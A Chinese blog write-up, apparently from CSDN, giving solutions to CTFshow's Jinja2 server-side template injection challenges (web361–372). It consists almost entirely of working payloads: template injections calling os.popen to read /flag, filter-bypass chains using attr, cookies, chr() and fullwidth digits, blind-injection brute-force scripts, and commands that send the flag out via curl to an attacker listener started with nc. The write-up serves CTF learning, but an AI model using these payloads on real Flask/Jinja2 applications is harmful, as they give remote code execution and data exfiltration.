CTFSHOW SSTI篇

原创最新推荐文章于 2026-08-02 15:43:27 发布 7.2k 阅读 AI写同款

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CTFSHOW web入门系列

yu22x

码龄7年墨衍会员 · AI 创作全网分发

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CTFshow——SSTI 首先一定要了解有关python类的知识： python __base__等内置方法 python inspect模块解析 # coding=utf-8_ _author__ = "leaves" class Base(object): a = 0 def __init__(self): self._a = 10 pass class Child(Base): "测试测试" _b = 10 def __str__( 阅读详情

AI摘要

本文分享了如何通过全角数字替代正常数字来绕过Web应用的输入验证，展示了多种高级payload和解码技术，包括cookie传递、字符串操作和复杂盲注策略。涉及的实例包括模板注入、文件读取、反弹flag等，适合进阶攻防者学习。

文章目录

建议大家先看下笔者之前写的模板注入的文章

web361

payload
name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web362

payload
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

web363

payload
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

web364

payload
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookie传值
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web365

payload
?name={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
cookie传值
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web366、367

palyoad
?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
cookie传值
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

web368

简单解法

import requests
import string
url ='http://826c9e0c-29d3-44de-9689-9f94eec68f1b.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%print(aaa.open(request.cookies.x5).read())%}'
headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=/flag'''}
r=requests.get(url,headers=headers)
print(r.text)

复杂解法（盲注）
payload

import requests
import string
url ='http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}1341{%endif%}'
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,43):
	print(i)
	for j in s:
		x=flag+j
		headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}
		r=requests.get(url,headers=headers)
		#print(r.text)
		if("1341" in r.text):
			flag=x
			print(flag)
			break

web369

简单解法

http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

复杂解法
方法1、读文件盲注

import requests
import string
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+str(ord(s[i]))+')%2b'
		else:
			t+='chr('+str(ord(s[i]))+')'
	return t
url ='''http://b134fd30-bddc-4302-8578-8005b96f73c2.chall.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{% set cmd2='''

s=string.digits+string.ascii_lowercase+'{_-}'
flag=''
for i in range(1,50):
	print(i)
	for j in s:
		x=flag+j
		u=url+ccchr(x)+'%}'+'{% if x.open(cmd).read('+str(i)+')==cmd2%}'+'1341'+'{% endif%}'
		#print(u)
		r=requests.get(u)
		if("1341" in r.text):			
			flag=x
			print(flag)
			break

方法2、反弹flag
电脑开启监听 nc -lvp 4567

http://da9612ac-2b66-485d-8149-b76a1f03d22c.chall.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
123
{%endif%}

cmd后面的值用脚本生成

s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+str(ord(s[i]))+')%2b'
		else:
			t+='chr('+str(ord(s[i]))+')'
	return t

web370

简单的解法

http://bb03c844-9e63-4ee0-8659-fd30a88c63ff.chall.ctf.show/
?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

暴躁的解法
payload

import requests
cmd='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def fun1(s):
	t=[]
	for i in range(len(s)):
		t.append(ord(s[i]))
	k=''
	t=list(set(t))
	for i in t:
		k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
	return k
def fun2(s):
	t=[]
	for i in range(len(s)):
		t.append(ord(s[i]))
	t=list(set(t))
	k=''
	for i in range(len(s)):
		if i<len(s)-1:
			k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'
		else:
			k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'
	return k	
url ='http://68f8cbd4-f452-4d69-b382-81eafed22f3f.chall.ctf.show/?name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)

开启监听 nc -lvp 4567 等待反弹flag

web371

过滤了print

http://c8f74fd3-a05a-477c-bb97-10325b9ce77d.chall.ctf.show?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}

cmd后面的内容由下面的代码生成

def aaa(t):
	t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
	return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+aaa(str(ord(s[i])))+')%2b'
		else:
			t+='chr('+aaa(str(ord(s[i])))+')'
	return t
print(ccchr(s))

web372

过滤了count，可以用length替换

跟大佬交换了思路学到了可以用全角数字代替正常数字，大家可以自行探索了。。。。。。

半角转全角代码

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)